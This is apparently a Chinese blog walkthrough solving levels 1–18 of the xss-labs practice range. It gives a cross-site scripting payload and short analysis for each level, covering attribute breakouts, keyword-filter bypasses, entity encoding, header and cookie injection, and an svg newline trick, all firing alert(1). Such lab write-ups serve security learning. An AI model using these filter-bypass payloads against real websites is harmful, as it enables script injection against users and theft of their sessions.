Back to Blog

【靶场实战】xss-labs 远程靶场通关攻略

xss-labs Easy

xss-labs 靶场题解

靶场地址:http://121.40.215.68:6651/

说明:每一关先放未触发 payload 的题目页面截图,再给出 payload、分析和弹窗验证截图。这里不再把成功后跳转到下一关的页面截图当作本关题目展示。页面中的 alert(1) 成功后会被靶场改写成 confirm("完成的不错!")

首页

首页

Level 1: 直接反射

题目截图

Level 1 题目页面

Payload

<script>alert(1)</script>

分析

  • name 参数直接拼接到 HTML 文本中,没有做输出编码。
  • 直接插入 script 标签即可执行,靶场会把 alert 成功回调改写成确认框。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level2.php?keyword=test
  • 弹窗内容:完成的不错!

Level 1 弹窗截图

Level 2: 双引号属性闭合

题目截图

Level 2 题目页面

Payload

"><script>alert(1)</script>

分析

  • keyword 同时出现在页面文本和 input value 中,真正可利用的位置是 value 属性。
  • 先闭合双引号和 input 标签,再插入 script 标签。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level3.php?writing=wait
  • 弹窗内容:完成的不错!

Level 2 弹窗截图

Level 3: 单引号属性闭合

题目截图

Level 3 题目页面

Payload

'onfocus=javascript:alert(1)'

分析

  • keyword 位于单引号包裹的 input value 中。
  • 闭合单引号后添加 onfocus 事件,配合 autofocus 或点击输入框触发。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level4.php?keyword=try+harder%21&submit=%E6%90%9C%E7%B4%A2
  • 弹窗内容:完成的不错!

![](./xss-labs-remote-redo-writeup.assets/屏幕截图 2026-06-13 195246-1781352795702-2.png)

Level 4: 过滤尖括号后的属性事件

题目截图

Level 4 题目页面

Payload

" onfocus="alert(1)

分析

  • 后端删除了 < 和 >,但没有处理双引号。
  • 不构造新标签,改为逃逸 value 属性并追加 onfocus 事件。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level5.php?keyword=find+a+way+out%21&submit=%E6%90%9C%E7%B4%A2
  • 弹窗内容:完成的不错!

Level 5: href 伪协议

题目截图

Level 5 题目页面

Payload

"><a href=javascript:alert(1)>click</a>

分析

  • 后端过滤 script 和 on,事件属性路线不可用。
  • 改用 a 标签的 javascript: href,点击链接后执行脚本。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level6.php?keyword=break%20it%20out!
  • 弹窗内容:完成的不错!

Level 6: 大小写绕过

题目截图

Level 6 题目页面

Payload

"><a hRef=javascript:alert(1)>click</a>

分析

  • 过滤关键字时没有统一大小写。
  • HTML 属性名大小写不敏感,hRef 会被浏览器当作 href 解析。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level7.php?keyword=move%20up!
  • 弹窗内容:完成的不错!

Level 7: 双写绕过

题目截图

Level 7 题目页面

Payload

"><scrscriptipt>alert(1)</scrscriptipt>

分析

  • 过滤方式是删除关键字,不是拒绝请求。
  • 双写关键字后,删除一层仍会还原出script。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level8.php?keyword=nice%20try!
  • 弹窗内容:完成的不错!

Level 8: href HTML 实体解码

题目截图

Level 8 题目页面

Payload

java&#x73;cript:alert(1)

分析

  • 输入进入 a 标签 href,关键字会被替换。
  • 浏览器解析 href 时会解码 HTML 实体,用 s 还原 javascript 中的 s。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level9.php?keyword=not%20bad!
  • 弹窗内容:完成的不错!

Level 9: 合法链接检查绕过

题目截图

Level 9 题目页面

Payload

java&#x73;cript:alert(1)//http://example.com

分析

  • 在 Level 8 基础上,后端要求字符串包含 http://。
  • 把 http:// 放进 JavaScript 注释部分,既通过检查又不影响执行。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level10.php?keyword=well%20done!
  • 弹窗内容:完成的不错!

Level 10: 隐藏 input 的 GET 参数

题目截图

Level 10 题目页面

Payload

" type="text" onclick=alert(1) x="

分析

  • 真正可控点是隐藏字段 t_sort,不是页面显示用的 keyword。
  • 闭合 hidden input 的 value,把 type 改成 text 并追加 onclick。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level11.php?keyword=good%20job!
  • 弹窗内容:完成的不错!

Level 11: Referer 请求头注入

题目截图

Level 11 题目页面

Payload

" type="text" onclick=alert(1) x="

分析

  • 输入点来自 Referer 请求头,并被输出到隐藏 input 的 value。
  • 在hackbar修改Referer发送数据包,点击触发onclick事件实现xss。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level12.php?keyword=good%20job!
  • 弹窗内容:完成的不错!

弹窗截图:待插入用户截图。

Level 12: User-Agent 请求头注入

题目截图

Level 12 题目页面

Payload

" type="text" onclick=alert(1) x="

分析

  • 输入点来自 User-Agent 请求头。
  • 将 User-Agent 改成属性闭合 payload,点击生成的 input 后触发。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level13.php?keyword=good%20job!
  • 弹窗内容:完成的不错!

题目截图

Level 13 题目页面

Payload

user=" type="text" onclick=alert(1) x="

分析

  • 输入点来自 Cookie 中的 user 字段。
  • 伪造 user Cookie,闭合 t_cook 的 value 属性并追加 onclick。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level14.php
  • 弹窗内容:完成的不错!

Level 14: EXIF 元数据 XSS

image-20260613223653945

跳过了,这题现代 Chromium 不能直接触发

Level 15: AngularJS ng-include

题目截图

Level 15 题目页面

Payload

'level1.php?name=<img src=x onerror=alert(1)>'

分析

  • AngularJS ng-include 会包含 src 指向的页面。
  • 包含带反射 XSS 的 level1.php,让 img onerror 在被包含页面中触发。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level16.php?keyword=test
  • 弹窗内容:完成的不错!

Level 16: 换行绕过空格过滤

题目截图

Level 16 题目页面

Payload

<svg%0Anonload=alert(1)>

分析

  • 后端过滤 script、空格、斜杠和 Tab,但没有过滤换行。
  • 用 %0A 换行分隔 svg 标签和 onload 属性。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level17.php?arg01=a&arg02=b
  • 弹窗内容:完成的不错!

![](./xss-labs-remote-redo-writeup.assets/屏幕截图 2026-06-13 224358.png)

Level 17: embed 未加引号属性注入

题目截图

Level 17 题目页面

Payload

arg02=b onmouseover=alert(1)

分析

  • embed 的 src 属性没有加引号。
  • 通过空格逃逸 src 属性,追加 onmouseover 事件并触发。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level17.php?arg01=a&arg02=b%20onmouseover%3Dalert(1)
  • 弹窗内容:完成的不错!

Level 18: embed 未加引号属性注入

题目截图

Level 18 题目页面

Payload

arg02=b onmouseover=alert(1)

分析

  • 思路和 Level 17 类似,仍是未加引号的 embed src 属性。
  • 通过 arg02 注入 onmouseover,鼠标移入或脚本派发事件即可触发。

验证结果

  • 弹窗数量:1
  • 成功后跳转 URL:http://121.40.215.68:6651/level19.php?arg01=a&arg02=b
  • 弹窗内容:完成的不错!

Level 19/20 是 Flash/SWF,做不了

总结

  • Level 1-4 主要考察 HTML 文本和属性上下文闭合。
  • Level 5-9 主要考察关键字过滤、大小写、双写、实体编码和协议检查绕过。
  • Level 10-13 输入点转移到隐藏字段、Referer、User-Agent 和 Cookie。
  • Level 14-16 涉及 EXIF、AngularJS ng-include、换行绕过。
  • Level 17-20 涉及 embed/SWF/Flash,其中后两关受现代浏览器 Flash 支持限制。